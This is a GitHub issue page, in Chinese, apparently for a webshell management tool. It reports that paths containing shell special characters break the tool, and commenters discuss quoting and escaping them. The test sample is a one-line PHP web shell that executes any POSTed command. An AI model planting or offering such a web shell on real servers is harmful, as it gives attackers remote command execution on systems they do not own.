We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
路径存在 ,$,>,<等shell中的特殊字符会导致出错。
$
>
<
测试样本:
root@f098aff17e28:/var/www/html# tree . . |-- a\ b | `-- 3 |-- a$b | `-- 1 |-- a<b | `-- 4 |-- a>b | `-- 5 |-- a`b | `-- 6 |-- ant.php `-- a|b `-- 2 6 directories, 7 files
ant.php
<?php system($_POST['ant']);?>
The text was updated successfully, but these errors were encountered:
@EarthCompass 目前可以知道 空格、\, $, 反引号些可以用单引号解决,如果路径中存在单引号时,有什么好的解决方案吗?
\
Sorry, something went wrong.
转义吧,感觉也没啥别的解决方法了😂
# cd \'\"\$\ \| # pwd /var/www/html/'"$ |
No branches or pull requests
报告 Bug
Bug 详细描述
路径存在
,
$
,>
,<
等shell中的特殊字符会导致出错。测试样本:
ant.php
The text was updated successfully, but these errors were encountered: